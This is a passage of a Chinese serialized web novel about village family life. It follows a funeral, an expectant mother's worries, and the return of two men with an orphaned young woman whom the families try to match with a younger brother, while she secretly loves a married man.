郭美娟一听这个消息,犹如被一道惊雷击中,整个人瞬间呆立当场。但仅仅片刻之后,她便回过神来,毫不犹豫地拔腿朝着李万原家飞奔而去。 当她跑到李万原家门口时,一眼便看到了躺在那里已经失去生命迹象的姑姑。那一刻,泪水如决堤的洪水一般从她的眼眶中汹涌而出,她踉跄着扑到姑姑身边,颤抖的双手轻轻地抚摸上了郭芳子那尚未合拢的双眼。仿佛感受到了侄女的悲伤和不舍,郭芳子的眼睛缓缓地合上了,留下了一脸泪痕的郭美娟呆呆地望着她。 第85章 带了个女人回来 李安硕夫妻俩正在忙碌地操持着郭芳子的丧事。李安硕简单的布置了灵堂,一边转头对李万原说道:“芊菊和冬雪呢?发生这么大的事情,你怎么能不把她们给找回来呢?” 李万原听后如梦初醒般连连点头道:“对对,我这就去找她们,马上就去!”说完,他急匆匆地转身冲出家门。 然而,刚一出门,李万原却突然停住了脚步。他茫然四顾,心中一片慌乱。是啊,自己到底应该去哪里寻找冬雪母女呢?平日里自己对她们非打即骂,如今真到了需要她们的时候,却连她们可能会去的地方都一无所知。想到这里,李万原不禁懊悔万分,但事已至此,他只能硬着头皮先四处打听一下了…… 李万原像一只无头苍蝇般在外转悠了整整一天,任凭他怎么打听,却始终未能发现何芊菊母女的半点踪迹。此时的他满脸憔悴,脚步虚浮地缓缓向家中走去。 当郭美娟看到李万原这副失魂落魄的模样回到家中时,心中不禁涌起一丝怜悯之情。她默默地走进厨房,不一会儿便端出了一碗热气腾腾的粥,以及几个松软的馒头和一碟香喷喷的咸菜。早已饿得前胸贴后背的李万原,见到食物后眼睛都亮了起来,他二话不说,抓起馒头便往嘴里塞,大口大口地吞咽着粥水,那吃相简直可用“狼吞虎咽”来形容。毕竟,这一整天下来,他可是粒米未进啊! 看着李万原这般狼狈的样子,郭美娟忍不住伸出手指比划着问道:“是不是你又动手打她们了?所以她们才会离家出走?” 李万原的动作猛地一顿,手中的馒头差点掉落在地。自从母亲离世之后,他便失去了往日里嚣张跋扈的气焰,此刻更是如同一个做错事的孩子般,“扑通”一声跪倒在地,放声大哭起来。那哭声撕心裂肺,仿佛要将心中所有的痛苦与悔恨都宣泄出来,让人闻之动容。 郭美娟静静地站在一旁,看着眼前这个脾气火爆的男人如今哭得如此凄惨,心中虽有几分不忍,但更多的还是对他所作所为的愤怒与失望。 于是,她轻轻地摇了摇头,转身默默地走出了房门,径直回了自己的家。自从得知冬雪母女不知去向之后,她实在是不想搭理这个李万原。 好在这段艰难的日子总算过去了,老李沟的疫病情况总算是逐渐稳定了下来。大家那颗一直悬着的心也终于能够稍稍放松一些。 然而就在这一天,唐小雨毫无征兆地感到腹部一阵疼痛袭来。她下意识地用手捂住肚子,弯下腰去。 一旁的杏花见此情形,心急如焚,赶忙出去请来了刘大夫。 刘大夫匆匆赶来,先是仔细观察了一下唐小雨的面色和神态,然后伸手轻轻搭在了她的脉搏之上。片刻之后,大夫微微皱起眉头,但很快便松开说道:“不要惊慌,从脉象上来看,倒也并非是什么大问题。想来应是你近日忧思过度,导致气血郁结所引发的腹痛之症。怀有身孕之人,心思往往较为细腻敏感,容易多思多虑。不过您可得注意调整好自己的情绪啊,凡事都尽量往好处去想。这样对腹中胎儿也好,于自身康复亦有益处。我给您开几副药性温和的药方,按时服用,或许能够稍稍缓解您目前的症状。”说完,大夫提起笔来,龙飞凤舞地写下一张药方,递给了杏花。 待刘大夫离去之后,杏花一脸关切地看着唐小雨,轻声问道:“小雨啊,你是不是有啥心事憋在心里头啦?可千万别跟婶子见外呀,有啥事尽管跟我说!” 唐小雨闻言,眼眶不禁一红,泪水在眼中打转儿,声音略带哽咽地道:“婶子,我这段时间心里实在是乱糟糟的。文孝他出去这么久了,到现在都还没有一点消息。您说他们会不会在路上遇到什么危险了啊?我真的好担心......” 杏花连忙安慰道:“哎哟哟,我的傻孩子,可不许再这般胡思乱想啦!也许再过几日,他们就能平平安安地回到家呢!” 唐小雨听了这话,心中虽稍感宽慰,但依旧忧心忡忡。她咬着嘴唇,满脸愁容地继续说道:“婶子,您说万一他们要是真的回不来了,而我生孩子的时候又恰好碰上什么意外状况,那……那我的孩子们,该如何是好啊?”说到这里,她再也抑制不住内心的恐惧与不安,眼泪像决堤的洪水一般,哗哗地流淌下来。 杏花一听这话,连忙皱起眉头,嗔怪道:“哎呀,可别乱说话啦!快呸呸呸,什么不吉利的话都不要说哟!你这肚子里的小家伙才刚刚胎稳呢,怎么能这么胡思乱想呢?别整天净琢磨那些有的没的事情啦!要相信他们一定会平平安安地回来的!” 就在这时,只见秀兰拉着佳华快步走了进来。还未走到跟前,秀兰就已经迫不及待地大声喊道:“我可是把你家宝贝儿子给完好无损地送回来啦!快瞧瞧看,这段时间有没有长胖一些啊?”说着,她将佳华推到了前面,满脸笑容地看着杏花。 秀兰这才注意到小雨那满脸泪痕的模样,不禁惊呼道:“哎哟哟,我的姑奶奶啊,你这是咋地啦?咋还哭得稀里哗啦的呢?”她一边说着,一边赶紧凑上前去,轻轻擦拭着小雨脸上的泪水。 就在这时,只见云义像一阵风似的突然冲了进来,气喘吁吁地喊道:“娘,嫂子,我哥他们回来啦,这会儿都快走到村边了呢!我刚才在远处瞅见了,肯定是他们没错!只是......”他说到这里,突然变得支支吾吾起来。 杏花见状,心急如焚地催促道:“哎呀,云义,你倒是快说呀!说个话还这么磨磨蹭蹭、吞吞吐吐的,真是要急死个人呐!” 云义深吸一口气,定了定神,然后结结巴巴地说道:“就是...就是我看着,他们好像带着一个女人回来啦!” 此言一出,在场的杏花等人皆是一脸惊愕和疑惑。她们面面相觑,一时之间不知如何是好。 过了片刻,杏花回过神来,转头对躺在炕上的小雨安慰道:“小雨啊,你就在家安心躺着休息,我们先出去看看。你看,文孝这不都已经回来了嘛,你也可以把心放回肚子里啦!” 一旁的佳华连忙附和道:“对,娘你躺着休息,我去叫爹回来!”说完,便与其他人一同匆匆忙忙地向门外走去。 大家一路走到村边,纷纷望去,确实是云亭和文孝,风尘仆仆地回来了。 每一个人脸上都流露出难以掩饰的惊喜之色,杏花更是激动得热泪盈眶。 然而,当他们慢慢走近,跟随着云亭和文孝一同归来的,还有一名陌生的女子。她身姿婀娜,面容姣好,但却一脸的拘谨与羞涩,仿佛对这个新环境有些不知所措。 这样的情况着实出乎所有人的意料,一时间,每个人的心中都充满了疑问,那疑惑就像一团迷雾,笼罩在众人心头久久不散。 不过,相比于大人们的满腹狐疑,孩子们则要单纯得多。当看到自己的父亲终于回家时,几个小家伙立刻欢呼雀跃起来,一个个撒开脚丫子便迫不及待地朝着云亭飞奔而去。他们一边跑,嘴里还不停地喊着“爹爹”,那稚嫩而欢快的声音回荡在屋子里,让人听了不禁心生暖意。 这时,云义也迈步向前,走到云亭面前说道:“大哥,你可算是回来了?这段日子我们都好生挂念啊!” 云亭打量着云义,眉头微微皱起:“怎么这才多长时间没见,你又瘦了?”言语之中满是关切之情。 云亭和文孝这时候才意识到,他们身后还站着秋丽呢。 文孝轻咳一声,略带歉意地说道:“哎呀,瞧我这记性,竟然差点把这么重要的事给忘记了。来,让我好好给你们介绍一下,这位姑娘名叫杜秋丽,说起来啊,她父亲对我也算是有救命之恩呢!只可惜如今她的双亲皆已离世。杜大叔临终之际,将他唯一的女儿秋丽托付给了我们兄弟二人。于是,我们俩便将她一同带回来了。” 接着,文孝依次指向在场的众人,向秋丽介绍道:“秋丽妹子,这位是杏花婶子;这位是秀兰嫂子。这位正是云亭的亲弟弟云义啦!” 秋丽面带微笑,礼貌而又谦逊地一一与大家打招呼问好。杏花婶子走上前来,轻轻握住秋丽的手,满是怜惜地说道:“真是个苦命的姑娘。不过既来之,则安之。既然来到了咱们这老李沟,从今往后,咱们就都是一家人!” 文孝顺手轻轻地拉过杏花,将她带到了一旁,然后压低声音说道:“婶子,您瞧着,秋丽这姑娘怎么样?” 杏花闻言,脸上顿时浮现出一抹疑惑之色,她眨了眨眼,不解地反问道:“哎呀,你这突然这么一问,可把我给弄糊涂啦!你到底想要说什么呀?快别卖关子了!” 文孝嘿嘿一笑,挠了挠头后接着说道:“婶子,其实吧,我寻思着要给你们家牵个红线、当个媒人呢。您想想,咱家云义不也还尚未成婚嘛!” 听到这话,杏花先是一愣,随后反应过来,惊讶地张大了嘴巴:“你是想跟给云义说媒?” 文孝连忙点了点头,应声道:“可不是嘛!不然您以为我说的是什么?而且啊,我这心里头第一个想到的人儿,那可不就是你们家嘛!” 这时,杏花似乎明白了些什么,她微微皱起眉头,若有所思地喃喃自语道:“照你这么说,那姑娘就是......” 只见文孝小心翼翼地将食指竖于唇前,做出了个“嘘”的手势,然后压低声音对婶子说道:“婶子啊,您听我说,我的想法呢,是暂时先别把这事儿告诉云义。就让他俩这么住在同一个屋檐下,俗话说得好,‘日久生情’呀!时间一长,说不定自然而然地就成事儿啦!”说完,他还冲婶子眨了眨眼,脸上露出一丝狡黠的笑容。 一旁的杏花先是微微一愣,随即反应过来,忙不迭地点头应和着表示自己已经领会到了文孝的意思。 这时,文孝转过头去看向秋丽,和声细语地劝道:“秋丽妹子,实不相瞒,我们家孩子太小太闹腾了,而且小雨她如今又身怀有孕行动不便,我怕照顾不了你。要不这样吧,干脆你就住到云亭家里去好了!” 然而秋丽却摇了摇头,一脸诚恳地回应说:“文孝大哥,没关系的,我住您家里也可以的,我也可以帮忙照顾一下嫂子的。” 就在这时候,佳华突然冲过来,喊道:“爹,您快回去瞧瞧娘吧,我娘她不舒服呢!” 听到这话,原本还一脸淡定的文孝瞬间脸色大变,焦急之色溢于言表,再也顾不得跟其他几人多说什么,撂下一句“我先回去看小雨了,先走一步!”便如一阵风般朝着家中飞奔而去。 秋丽满脸通红地站在原地,目光紧紧追随着文孝渐行渐远的背影,心中满是尴尬和失落。 一旁的杏花看着秋丽,眼中闪过一丝喜爱之情,开口说道:“这姑娘长得眉清目秀的,性格看起来也挺温柔,我看着就喜欢!要不就住到我们家去吧!” 云义和秀兰两人心中虽有几分疑惑,但还是选择沉默不语,没有发表意见。 这时,云亭笑呵呵地走过来,指了指马车上,对众人说道:“这次咱们去新县可真是收获颇丰啊,带回了好多肉干呢!等会儿我把这些肉干分一半出来,给文孝他们家送过去。”几人开心的朝家中走去。 而另一边,文孝则像一阵风似的狂奔回家。一进家门,他顾不上喘口气,便迫不及待地冲到里屋,一脸关切地问道:“小雨,我回来了,你怎么样?到底是哪里不舒服啊?” 坐在床边的小雨抬起头,微笑着回答道:“放心吧,我一切都好着呢。” 正在此时,一直的佳华好奇的问道:“爹爹,刚才跟您一起回来的那位陌生女子是谁呀?我以前好像从来都没有见过她呢!” 还没等文孝回答,唐小雨已经忍不住埋怨起来:“我说你这人,怎么才出去多长时间,居然就带了个女人回来啦!快老实交代,到底是怎么回事!” 面对妻子的质问,文孝连忙解释道:“哎呀,小雨,你别瞎想好不好?其实这个叫秋丽的姑娘,我们带她回来准备介绍给云义当媳妇的。” 小雨瞪大了眼睛,满脸不可置信地问道:“云义?真的假的?” 文孝连忙走上前一步,急切地说道:“哎呀,小雨,当然是真的啦,难道连我你都不相信吗?我这次出门这么久,真是吃尽了苦头!”他一边说着,一边描述着在杜家坡发生的一切! 小雨听后,心中一紧,赶忙关切地问道:“你怎么还病了?严不严重啊?有没有看大夫?”她的眼神中充满了担忧和焦虑,双手不自觉地紧紧握在一起。 文孝笑着摇了摇头,安慰道:“别担心,小雨,我现在已经完全好了。不过当时确实挺难受的,感觉整个人都快撑不住了,但心里一直有个念头支撑着我,就是一定要回到你身边来,我一定要知道这肚子里的是儿子还是女儿。”说到这里,他深情地凝视着小雨微微隆起的腹部。 小雨嗔怪地白了他一眼,娇嗔道:“哼,都什么时候了还惦记着孩子是男是女,怎么,你想要儿子还是女儿啊?”说罢,她轻轻地拍了一下文孝的肩膀。 就在这时,一个小小的身影如旋风般冲了过来,一下子扑到了文孝的怀里。原来是他们的女儿佳红,只见小家伙仰着头,一脸好奇地问道:“爹爹,新县那边是不是比咱们这儿更好玩呀?那里都有些啥好玩的东西啊?”一双大眼睛眨呀眨的,满是期待的神情。 文孝摸了摸女儿的小脸蛋:“哎呀,外面哪有什么好玩的呀!哪里能比得上咱们这里有意思呢。”说罢,他满脸笑意地弯下腰,轻轻抱起可爱的佳红,温柔地说道:“走,爹爹陪着你们一块儿出去玩咯!” 与此同时,在另一边的云亭家里,杏花领着秋丽一同踏进家门。一进门,杏花便热情地将秋丽带到一间距离云义较近的屋子前,笑着对她说:“秋丽,这间房以后就你住吧,有什么需要尽管告诉我们。”说完,杏花转身离开,留下秋丽打量着这个新房间。 而此时,秀兰也走进房间里,收拾着孩子们弄乱的房间。就在这时,云亭蹑手蹑脚地走到秀兰身后,猛地张开双臂,紧紧地将秀兰抱入怀中。他把脸凑近秀兰的脖颈处,深深吸了一口气,陶醉地说道:“老婆,这些天我真是想死你了!你有没有想我?” 秀兰微微侧过头,娇嗔地回应道:“嘴贫,我可不想你!” 云亭闻言,手臂用力一收,直接把秀兰拉到自己的腿上坐好,然后用手指轻轻地刮了一下秀兰的鼻尖,假装生气地说:“嘿,还嘴硬呢,这么长时间我不在家,难道你就真的一点都不想念我么?” 秀兰白了云亭一眼,故意撅起嘴巴回答道:“才不想呢!” 听到这话,云亭瞪大了眼睛,故作凶狠地威胁道:“哟呵,你竟然敢不想我,看我等会儿怎么好好收拾你!”说着,他便伸手挠向秀兰的痒痒肉,两人顿时笑作一团,打闹起来。 然而,正当他俩嬉闹得正欢时,忽然传来一声清脆的咳嗽声。二人一惊,连忙停下动作,齐齐转头看向门口。只见云义不知何时出现在那里,静静地望着他们俩,脸上露出一丝不易察觉的微笑。 云亭和秀兰两人站在那里,脸上露出极为尴尬的神情。只见秀兰脸色微红,她迅速转身,脚步匆匆地朝着房间门口走去,并丢下一句:“我去看看娘那边有什么需要帮忙的!” 云亭看着秀兰离去的背影,嘴角挂着笑容,然后将目光转向云义,开口问道:“云义,你找我有事儿?” 云义皱着眉头,满脸疑惑地盯着云亭说道:“哥,我没啥大事儿,就是想问问你,咋突然带了个不认识的女人回咱家来了呢?” 听到弟弟这么问,云亭心里暗叫这傻小子。其实他很想说,这个名叫秋丽的女子是想要介绍给你做媳妇的,但此刻这话到了嘴边却又硬生生地咽了回去。因为他实在担心,如果现在直接告诉云义实情,万一这小子不但不领情反而更加反感可怎么办才好。 于是,云亭稍稍迟疑了一下之后,只是淡淡地回答道:“唉……云义啊,你不知道,这秋丽姑娘确实挺可怜的。她的父母都已经过世了,如今只剩下她孤孤单单一个人在世上漂泊无依。” 然而,云义显然对哥哥的解释并不满意,他依然板着脸说道:“哥,这天底下可怜之人多得数不胜数,难道你能把每一个都带回家吗?更何况,你就这样随随便便地带个陌生女人回来,那嫂子会作何感想呢?” 云亭猛然间意识到,关于这件事情他竟然还未曾向秀兰透露半句。连云义那小子都已经想到这里来了,那秀兰会不会因此而生气呢?一想到这里,云亭心里不禁有些忐忑不安起来,于是他赶忙走出房门,去寻找秀兰。 此时的秀兰,正与杏花一同在厨房里忙碌着。毕竟儿子好不容易归家一趟,作为母亲的杏花无论如何也要精心烹制一顿丰盛可口的饭菜。 当云亭刚刚走进厨房里,杏花便急切的问道:“把那丫头带回来,到底是你们俩谁的主意?” 紧接着,便是云亭略带无奈地回答道:“是文孝突然间提到了云义,而且当时杜大叔也是那副状态,我实在也不好意思开口拒绝啊!” 杏花闻言,嗔怪地瞪了云亭一眼,数落道:“瞧瞧人家文孝,人家心里头还一直记挂着你弟弟的亲事呢,你们啥时候也能像别人一样多关心关心你弟弟呀!” 第86章 摸不着头脑 就在这时,一旁的秀兰插话问道:“你们在说什么?要给云义说亲事了吗?” 杏花面带微笑地说道:“就是他们带回来的那个丫头呀,听说是父母双亡无依无靠的,文孝想着把她撮合给咱家云义呢,我真怕这云义又瞎胡闹......” 一旁的秀兰听闻此事,眼睛顿时一亮,兴奋地回应道:“哎呀,这可是件大好事啊!云亭,你也真是的,这么重要的事儿怎么都不提前跟我说一声哩!” 云亭有些委屈地挠了挠头,赶忙解释道:“我这不刚要和你讲这件事嘛,结果被娘先一步说了出来。” 此时,在房间里,杜秋丽独自坐在那张对她来说全然陌生的床铺上,周围的一切都是那么的生疏与不习惯。一想到自己已然逝去的双亲,心中不禁涌起一阵悲痛,眼眶瞬间湿润起来,她轻轻地用手抹去眼角的泪水。 正在这时,门外传来轻轻的敲门声,接着便听到秀兰温柔的声音响起:“秋丽姑娘,饭已经做好啦,快出来洗洗手准备吃饭咯!” 杜秋丽闻言,连忙伸手迅速擦去脸上残留的泪痕,深吸几口气努力平复一下情绪,生怕自己悲伤的模样会被他人瞧出什么端倪来。她稍稍整理了一下身上略显凌乱的衣裳,然后快步走到门前,缓缓打开房门走了出去。 一家人围坐在饭桌前,愉快地享用着这顿团圆的午饭。刚刚吃完饭后不久,文孝夫妇俩一起过来了。 原来啊,是文孝听说了这段日子里所发生的那些事儿后,特意带着小雨一起前来登门致谢呢。 他满脸感激之情,对着杏花和秀兰不停地拱手说道:“真是太谢谢你们啦!要不是有你们帮忙照看着小雨还有家里头的孩子们,我都不知道该怎么办才好!” 就在这时,只见秋丽猛地站起身来,动作迅速而又热情地将自己坐着的凳子拿给文孝,并微笑着说道:“文孝大哥,您快请坐这儿吧!” 这突如其来的举动让在场的所有人都不禁愣了一下,就连文孝也是微微一怔。 不过很快,秀兰反应了过来,她连忙笑着附和道:“对对对,都是自己人,别客气,快快坐下,咱大家伙儿一块儿坐下来好好聊聊!” 秋丽此时似乎也察觉到了自己刚才有些过于莽撞,稍稍红了红脸,但随即又转身去取来了另一张椅子,轻轻地放在一旁,柔声说道:“小雨嫂子,您也坐吧!” 小雨嘴角微微上扬,露出一抹浅浅的笑容后缓缓地坐了下来。这时,一旁的杏花开口说道:“云义呀,我里屋还放着几张凳子呢,你快去拿一张过来给秋丽姑娘坐!”听到这话,云义二话不说,如一阵风般迅速跑进屋里。 没过一会儿,只见云义双手抱着一把崭新的椅子快步走了出来,并对秀兰说道:“嫂子,你来坐这把椅子吧。那把旧椅子的腿有些松动啦,不太稳当,我得把它好好修理一番才行!”说着,他将手中的椅子轻轻放在地上。 直到此时,一直未曾留意到细节的云亭才恍然发现,原来秀兰所坐着的那张老旧凳子果然如云义所说,其腿脚已经显得颇为松散。 见此情形,秀兰连忙站起身来,而云义则顺势接过那张老凳子,竟然旁若无人地直接朝着门外走去,拿了钉子锤子去院子里修补椅子腿了! 就在这时,秋丽突然开口道:“我忽然想起自己还有点儿事情,就先不打扰你们聊天说话啦!”话音未落,她便转身匆匆走进了房间。 看着眼前发生的这一幕,文孝不禁凑到云亭身旁,压低声音问道:“我说,云义他到底是怎么回事?难不成你已经把事情都告诉他了?” 面对文孝的询问,云亭一脸茫然地摇着头回答道:“我真的什么都没有跟他说啊,我也完全不知道这究竟是怎么回事嘛!” 突然间,他像是又想起了什么重要的事情一般:“哎呀,不对呀,他该不会是误会我了吧……我想起来了,他刚刚好像是在说我呢,说我怎么能带一个完全不认识的女人回来,也不考虑一下秀兰的感受……”说到这里,她不禁轻轻摇了摇头,脸上露出一丝无奈和担忧。 站在一旁的秀兰听到这话,先是微微一愣,随即忍不住用手捂住嘴巴,扑哧一声笑了出来:“真没想到啊,这云义还挺有意思的呢!不过你呀,可得赶紧把这件事跟他解释清楚了哦,不然的话,我看他们俩这事儿就难喽!”说完,她还用胳膊肘轻轻地碰了碰云亭,眼神中满是调侃之意。 云亭大步流星地朝着院子走去。一到院子里,他便主动开口说道:“还是让我来吧,我来修这个东西!” 然而,正在忙碌着的云义头也没抬,直接拒绝道:“不用了,我自己能行,这点小事难不倒我的!” 见云义态度坚决,云亭并没有放弃,而是继续追问道:“我说云义,你该不会是因为我们带了秋丽姑娘回来,生气了吧?你是不是觉得大哥我做得不太妥当啊?” 听到云亭这么问,云义手上的动作稍微停顿了一下,但很快又恢复如初,嘴里嘟囔着回答道:“生气倒是谈不上啦,只是你这样做的确有点不合适。你难道忘记之前那个叫蒋晶晶的女人了吗?当时差点都让你说不清楚了!” 云亭听后,忍不住翻了个白眼,没好气地说:“哎呀,你可真是个大傻瓜,难道你就看不出来,人家文孝大哥一直都在想方设法地给你牵红线、促成这段姻缘嘛!” 云义一脸惊愕地看着云亭,难以置信地问道:“什么?给我牵红线?这是哪跟哪啊?” 云亭嘿嘿一笑,露出几分狡黠之色,说道:“不然呢?平白无故的怎会让人家姑娘住到咱们家里来呀?还不是想着给你讨个媳妇,好让你早点成家立业!” 云义皱起眉头,斩钉截铁地回答道:“我不喜欢,这种事情还是免谈吧!而且我一个人过得好好的,不需要什么媳妇儿!” 云亭一听这话可急了,瞪大双眼,提高嗓门数落起来:“你都这么大个人了,怎么就不知道着急呢?能不能别总是让我们为你的终身大事操心呐!” 然而此时的云义却紧闭双唇,闷不作声,仿佛已经下定了决心。 云亭见状,仍不死心,继续苦口婆心地劝说道:“我说云义呀,那个秋丽姑娘真挺不错的,模样俊俏,性格又温柔善良,你当真就一点儿都不动心,不肯考虑考虑吗?” 可惜他的话音未落,云义便已寻了个由头,匆匆忙忙地夺门而出...... 留下云亭一个人站在院子当中,满脸都是茫然之色…… 片刻后,云亭缓缓抬起脚步朝着屋内走去。刚一进门,坐在桌旁的杏花便急切地问道:“云义他到底怎么说呀?” 云亭微微皱起眉头,轻轻叹了口气,然后无奈地摇了摇头,表示自己也搞不明白云义是什么想法。 一旁的文孝见状,赶忙安慰道:“婶子,您先别急。依我看呐,这事儿急不得,咱们还得从长计议,慢慢来吧!” 云义呆呆地站在地头的草地上,仰望着湛蓝的天空,心中一片迷茫。连他自己都搞不清楚究竟发生了什么事,当大哥还未归来时,他整日心心念念期盼着大哥能够早日回家。然而如今大哥真的回来了,看到大哥与嫂子亲密相处的场景,他的心就像被一只无形的手揪紧一般,隐隐作痛,一种难以言喻的不适感涌上心头。 难道……难道是自己对嫂子产生了特殊的情感吗?这个念头刚一冒出来,就连忙被他强行压了下去。不可能!绝对不可能!那可是自己的大嫂啊,这种违背伦理道德的事情怎会发生在自己身上?一定是自己想多了,都是自己的问题。于是乎,为了避免这种尴尬的局面继续发展下去,云义决定尽量躲避着大哥。 就这样,他独自一人躺在草地上,任由思绪如脱缰野马般肆意驰骋。时间一分一秒过去,不知不觉中天色已渐渐暗下来,夜幕悄然降临。直到周围完全被黑暗笼罩,云义这才如梦初醒般缓缓站起身来,拍掉衣服上沾染的草屑,拖着略显沉重的脚步向家走去。 推开家门,首先映入眼帘的便是一脸焦急的嫂子。只见她快步迎上来,关切地问道:“云义,你可算是回来了?你到底去哪儿了呀?这么晚才回来,我和娘都担心死了!快快快,锅里还给你留着热乎的饭菜呢!”说着便拉着云义往厨房走去。 杏花叉着腰,柳眉倒竖地指着门口刚进来的云义气呼呼地骂道:“你这臭小子,还知道回来啊!一跑一下午,把家都忘啦!” 云义笑嘻嘻地挠了挠头说:“嘿嘿,娘,我这不回来了嘛!我大哥呢,他……已经睡下啦?” 一旁正在收拾碗筷的秀兰连忙应声道:“嗯,你大哥在床上躺着呢,正给几个孩子们讲他在外边遇到的那些稀奇古怪的事儿呢!” 云义大步走到桌前,端起一碗热腾腾的粥就开始大口大口地扒拉起来。 杏花见状,心疼地嗔怪道:“哎呦,我的小祖宗哟,你慢点吃,又没人跟你抢!小心别噎着咯!”说着便伸手去轻拍云义的后背。 这时,秀兰一边整理着桌上的杂物,一边笑着对云义说道:“我今天可仔细瞧过秋丽那姑娘啦,人长得水灵灵的不说,干起活儿来也是麻溜得很呐,那针线活做得更是没得挑,真是个打着灯笼都难找的好姑娘哟!” 云义听着突然放下了筷子:“我不愿意娶她!” 杏花皱起眉头,一脸不解地看着儿子云义,提高音量说道:“这么好的姑娘,你居然还不愿意,那你究竟想要找一个什么样的啊?” 秀兰急忙伸出手扯了扯杏花的衣角,压低声音焦急地提醒道:“哎呀,娘,您声音小点儿,可千万别让秋丽听见了呀!要不然人家一个大姑娘家,千里迢迢、不辞辛苦地奔波到咱们这儿这么老远的地方,要是听到这些话,心里得多难受啊!” 杏花听后,稍微收敛了一些,但还是坚持自己的想法,语气严肃地对云义说:“不管你喜不喜欢人家,以后都不准说这种话!以前叫你成婚的时候你不愿意,娘也就随了你去。可是如今,你年龄也不小了,娘不能再任由着你任性胡闹下去了。等再过些日子,娘要亲自去问问秋丽,如果她对你有意思,这件事情就这么定下了,没得商量!” 云义满脸无奈,着急地反驳道:“娘,您怎么能这样呢?!” 秀兰语重心长地说道:“云义啊,娘这可都是为了你好呀!你瞧瞧,你如今也老大不小的了,确实已经到了该成家立业的年纪啦!” 然而,面对母亲苦口婆心的劝说,云义却是一脸的茫然与不知所措,他张了张嘴,似乎想要反驳些什么,但最终还是选择了沉默不语。只见他无奈地摇了摇头,转身默默地回到自己屋里,一头倒在床上蒙头大睡。 而此时,无论是谁都未曾料到,那位名叫杜秋丽的女子对于云义也没半点儿男女之情。 就在第二天清晨,阳光洒在了宁静的小村庄里,原本杏花正满心欢喜地准备去找秋丽聊聊家长里短、谈谈闲天儿呢。谁承想,当她刚刚开口向秋丽搭话时,秋丽却连忙摆手说道:“哎呀,我这会儿有急事儿得去找文孝一趟,先不和您聊啦!”话音未落,秋丽便像一阵风似的急匆匆地跑开了。 不一会儿功夫,秋丽便一路小跑来到了文孝家的门口。可不知怎的,尽管她心中急切地想要见到文孝,双脚却如同生了根般定在原地,怎么也抬不起步子迈进那扇门去。就这样,秋丽在文孝家门外焦急地徘徊等待着。时间一分一秒过去,正当秋丽等得心焦难耐之时,忽然间,文孝家的大门吱呀一声缓缓打开,文孝高大的身影从里面走了出来。秋丽见状,心头一喜,赶忙快步迎上前去,红着脸轻声说道:“文孝大哥,我……我来看看你!” 文孝一愣,丝毫没有多想:“秋丽过来了啊?快来屋里坐!” 秋丽还是第一次走进文孝的家,一副好奇的眼神到处观望着。 佳红奶声奶气的跑到小雨面前:“娘,那个漂亮姐姐来找爹了!” 唐小雨带着疑惑:“什么漂亮姐姐?”说着就被佳红拉了出来。 唐小雨满脸笑容地看着秋丽,轻声问道:“秋丽姑娘,您是一个人来的吗?”只见秋丽那娇美的面容微微颔首,表示肯定。 唐小雨见状,连忙起身,亲自为秋丽斟满一杯香茗,并关切地询问道:“不知道秋丽妹子这么一大清早来到咱们家里,是有什么要紧事呀?” 一旁的文孝也赶忙附和着说道:“是啊,秋丽妹子,如果遇到了难处或者有什么需要帮忙的地方,你千万别跟我们客气,只管开口便是。” 听到这话,秋丽的脸上不禁泛起一丝红晕,神情显得略微有些尴尬起来。原来,就在前些日子那场倾盆大雨之中,她家的房屋突然坍塌,当时的她被吓得魂飞魄散、不知所措。然而,就在这千钧一发之际,一只宽厚而有力的大手如同从天而降的神祇般伸向了她。正是文孝毫不犹豫地将她从废墟中救出,那一刻,文孝高大英勇的形象深深地烙印在了秋丽的心中,从此,她的一颗芳心便系在了文孝的身上。 只是此刻,面对着文孝的妻子——唐小雨,秋丽实在不知道该怎样表达自己内心深处那份复杂的情感。她暗自思忖了好一会儿之后,才勉强挤出一抹微笑,缓缓说道:“其实……也没有什么特别重要的事情啦,只是我一个人在这里人生地不熟的,也没个知心好友可以说说话,所以就想着来找你们聊聊天呢!” 文孝面带微笑地说道:“你若是觉得无聊,也可以去找秀兰聊天呀,或者让云义带着你到村子周边转转,熟悉熟悉环境也是不错呢。” 他话音未落,令人意想不到的事情发生了——只见秋丽猛地一下子站了起来,速度之快仿佛一阵疾风掠过。她有些生气,直直地盯着文孝,大声喊道:“文孝大哥,如果您不欢迎我来这里,大可直接跟我说清楚,用不着这样拐弯抹角的!我以后绝对不会再来打扰您了!”说完这些话,秋丽迅速转身飞奔而出,眨眼间便消失在了门外。 看着秋丽离去的背影,文孝顿时愣住了,脸上露出一副茫然不知所措的表情。过了好一会儿,他才回过神来,喃喃自语道:“这丫头到底是咋回事嘛,我不过就是随口提了个建议而已,怎么就突然发这么大的脾气呢......真是让人摸不着头脑啊。” 就在这时,文孝像是想起了什么似的,急忙转过头来,伸手扶住正准备起身的小雨,轻声责备道:“不是都跟你说了让你再多休息一会儿吗,怎么不听话又自己起来啦?身体要紧啊!” 小雨微微一笑,轻轻地摇了摇头,解释道:“一直躺着实在是太累了,我的腰都快受不了啦,还是稍微活动活动比较舒服些。” 阳光明媚,院子里,佳红眨巴着一双水灵灵的大眼睛,满脸期待地看着父亲文孝,娇声说道:“爹陪佳红放纸鸢好不好嘛?” 一旁的哥哥佳华见状,连忙凑过来,拍了拍胸脯说:“妹妹,哥也可以陪你放纸鸢呀!” 然而,佳红却嘟起小嘴,摇了摇头,紧紧抱住文孝的大腿,撒娇道:“不要嘛,人家就要爹爹陪!” 文孝看着可爱的女儿,脸上露出宠溺的笑容,他轻轻地弯下腰,一把将佳红抱入怀中,温柔地说道:“好好好,爹爹这就陪你们一起去放纸鸢咯。” 说着,他转过头来,目光落在了站在不远处的小雨身上,关心地问道:“那小雨你呢?要不在家里歇着?” 小雨听闻此言,赶忙摆了摆手,快步走到众人面前,坚定地回答道:“不行,我也要去陪佳红放纸鸢。”她的眼中闪烁着兴奋与喜悦的光芒。 微风轻拂,文孝领着佳华和佳红来到家门口不远处得一片空旷的草地上放风筝。五彩斑斓的纸鸢在空中高高飞翔,孩子们欢快地奔跑着,笑声回荡在空气中。唐小雨静静地站立在一旁,目光温柔地注视着这温馨的一幕,脸上洋溢着幸福的笑容。 然而,他们谁也没有察觉到,在稍远一些的地方,秋丽正痴痴地凝望着这边。她的眼神里充满了羡慕和遗憾,心中暗自悔恨为何没能早些与文孝相识相知。此刻,文孝大哥看上去如此幸福快乐,但陪伴在他身旁共享这份美好的女子却不是自己。 无巧不成书,前些日子小雨拜托秀兰帮忙给佳红做双小鞋子,心灵手巧的秀兰这不刚做好了双小鞋子,并打算拿来送给唐小雨。 